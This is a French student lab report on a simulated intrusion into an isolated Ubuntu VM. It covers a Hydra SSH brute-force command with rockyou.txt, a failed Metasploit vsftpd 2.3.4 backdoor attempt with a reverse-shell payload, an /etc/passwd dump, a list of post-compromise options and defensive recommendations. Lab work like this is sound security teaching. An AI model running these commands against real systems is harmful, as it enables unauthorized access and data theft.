

COMPTE RENDU DE TP : SÉCURITÉ ET EXPLOITATION

1. Introduction

- **Objectif du TP** : Ce travail pratique vise à simuler un scénario d'intrusion complet sur un serveur Linux, en passant par l'énumération, le cassage de mots de passe (Brute Force) et l'exploitation de services vulnérables via Metasploit.
- **Environnement** : Utilisation d'une machine d'attaque Kali Linux et d'une cible Ubuntu configurées sur un réseau privé virtuel (Host-Only).

2. Attaque brute force SSH

2.1. Exécution de l'attaque Hydra

Une fois l'utilisateur identifié, j'ai lancé une attaque par dictionnaire.

- **Outil et dictionnaire** : Utilisation de **Hydra** avec la liste `rockyou.txt`.
- **Commande** : `hydra -l student -P /usr/share/wordlists/rockyou.txt t 4 -f ssh://192.168.56.10.`
- **Résultat** : Après analyse de 14 344 399 combinaisons potentielles, le mot de passe **123456** a été trouvé en quelques secondes.

```

(nguifofotso@nguifofotso)-[~]
$ hydra -l student -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.10
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in mi
litary or secret service organizations, or for illegal purposes (this is non-bin
ding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-27 10:51:
50
[WARNING] Many SSH configurations limit the number of parallel tasks, it is reco
mmended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:
14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.56.10:22/
[22][ssh] host: 192.168.56.10 login: student password: 123456
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete u
ntil end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-27 10:52:
02

(nguifofotso@nguifofotso)-[~]
$

```

- **Résultat** : Mot de passe trouvé : **123456**
- **Connexion SSH** : Accès réussi à la machine cible

3. Exploitation Metasploit

3.1. Installation et blocage du gestionnaire de paquets

Pour simuler une faille applicative, j'ai dû installer le serveur FTP `vsftpd`.

- **Blocage critique** : Le terminal a affiché une "Attente du verrou du cache", car le processus `unattended-upgr` (mises à jour automatiques) occupait le fichier `/var/lib/dpkg/lock-frontent`.


```
msf > search vsftpd

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check
0	auxiliary/dos/ftp/vsftpd_232 VSFTPD 2.3.2 Denial of Service	2011-02-03	normal	Yes
1	exploit/unix/ftp/vsftpd_234_backdoor VSFTPD v2.3.4 Backdoor Command Execution	2011-07-03	excellent	Yes

Interact with a module by name or index. For example `info 1`, `use 1` or `use exploit/unix/ftp/vsftpd_234_backdoor`

- **Exploit ciblé** : `exploit/unix/ftp/vsftpd_234_backdoor`.
- **Ajustement de configuration** : Lors du premier essai, une erreur `OptionValidateError` est apparue car le paramètre **LHOST** (mon IP Kali) n'était pas défini. J'ai corrigé cela avec `set LHOST 192.168.56.30`.

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.10
RHOSTS => 192.168.56.10
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[-] 192.168.56.10:21 - Msf::OptionValidateError One or more options failed to
  validate: LHOST.
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.56.30
LHOST => 192.168.56.30
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] Started reverse TCP handler on 192.168.56.30:4444
[!] 192.168.56.10:21 - Unable to connect to backdoor on 6200/TCP. Cooldown?
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) > █
```

- **Constat technique** : L'exploit a échoué car le service installé (v3.0.5) est protégé contre cette faille de la version 2.3.4. Cela démontre l'efficacité des mises à jour de sécurité.
- **Obtention du shell** : Suite à la version 3.0.5 sécurisée, utilisation de `ssh_login` pour ouvrir la session interactive

4. Analyse de la compromission et Utilisation des outils

Une fois l'accès obtenu via le shell ,l'attaquant dispose d'un point d'ancrage dans le réseau interne

4.1. Ce que l'attaquant peut faire

- **Exfiltration de données** : Accès aux dossiers personnels (/home/student) pour voler des documents confidentiels, des bases de données ou des codes sources.
- **Élévation de privilèges** : En analysant la version du noyau avec `uname -a` (comme fait en session), l'attaquant peut chercher un exploit "Local Privilege Escalation" pour devenir **root** (administrateur total).
- **Mouvement latéral** : Utiliser ce serveur comme "rebond" pour attaquer d'autres machines du réseau local qui ne sont pas exposées sur Internet.
- **Persistance** : Créer un nouvel utilisateur caché ou installer une "backdoor" permanente pour revenir même si le mot de passe est changé.

```
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:996:996:systemd Time Synchronization:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
messagebus:x:995:995:System Message Bus:/nonexistent:/usr/sbin/nologin
syslog:x:101:101::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:990:990:systemd Resolver:/:/usr/sbin/nologin
```

4.2. Risques pour l'entreprise

- **Interruption de service** : L'attaquant peut effacer des fichiers système ou arrêter des services critiques, causant un arrêt de l'activité.

- **Atteinte à la réputation** : Une fuite de données clients peut détruire la confiance des partenaires et entraîner des poursuites judiciaires.
- **Espionnage industriel** : Vol de secrets de fabrication ou de stratégies commerciales.
- **Coûts financiers** : Frais de remédiation, amendes (RGPD) et perte de chiffre d'affaires pendant l'indisponibilité.

5. Utilisation avancée des outils (Contextualisation technique)

5.1. Dans la console Metasploit (msfconsole)

Une fois Metasploit lancé dans Kali, nous n'interagissons plus avec le système de fichiers, mais avec des **modules d'exploitation**.

- **La commande `show options`** : Elle est impérative avant chaque attaque. Dans notre cas, elle a révélé que le module `vsftpd_234_backdoor` était incomplet.
 - **Réajustement** : J'ai dû configurer le **LHOST** (mon IP Kali 192.168.56.30) pour permettre au "Payload" de revenir vers ma machine.

```
msf > show options
```

Global Options:

Option	Current Setting	Description
ConsoleLogging	false	Log all console input and output
LogLevel	0	Verbosity of logs (default 0, max 3)
MeterpreterPrompt	<u>meterpreter</u>	The meterpreter prompt string
MinimumRank	0	The minimum rank of exploits that will run without explicit confirmation
Prompt	msf	The prompt string
PromptChar	>	The prompt character
PromptTimeFormat	%Y-%m-%d %H:%M:%S	Format for timestamp escapes in prompts
SessionLogging	false	Log all input and output for sessions
SessionTlvLogging	false	Log all incoming and outgoing TLV packets
TimestampOutput	false	Prefix all console output with a timestamp

- **La commande `info`** : Elle m'a permis d'étudier la nature de la vulnérabilité vsftpd. J'ai compris que l'exploit tente de déclencher un "shell" caché.

```
msf > info
Usage: info <module name> [mod2 mod3 ... ]

Options:
* The flag '-j' will print the data in json format
* The flag '-d' will show the markdown version with a browser. More info, but
  could be slow.
Queries the supplied module or modules for information. If no module is given
' show info for the currently active module.
```

- **La commande `sessions`** : C'est l'outil de gestion post-exploitation. Suite à l'échec du module FTP (service Ubuntu trop récent), j'ai basculé sur le module `ssh_login`. La commande `sessions -i 1` m'a alors permis d'interagir directement avec l'utilisateur compromis.

```
msf > sessions

Active sessions
=====

No active sessions.
```

6. Recommandations de sécurité

Sur la base de nos recherches, nous préconisons les mesures suivantes :

1. **Désactiver l'authentification par mot de passe SSH** : Modifier le fichier `/etc/ssh/sshd_config` pour n'autoriser que les clés publiques.
2. **Utiliser des clés SSH** : Elles sont virtuellement impossibles à "bruteforcer", contrairement aux mots de passe simples comme "123456".
3. **Mise à jour rigoureuse (Patch Management)** : Comme démontré, la version 3.0.5 de `vsftpd` nous a bloqué car elle ne contient plus la faille de la version 2.3.4.
4. **Suppression des services vulnérables** : Ne jamais laisser de services comme FTP ou Telnet ouverts s'ils ne sont pas strictement nécessaires.

7. Conclusion

Ce TP démontre qu'une vulnérabilité n'est pas qu'une théorie : elle peut être exploitée en quelques minutes. J'ai appris que la sécurité dépend autant de la mise à jour des logiciels que de la vigilance sur les noms d'utilisateurs et la complexité des mots de passe. L'impact d'une mauvaise pratique est immédiat et peut mener à la prise de contrôle totale du serveur.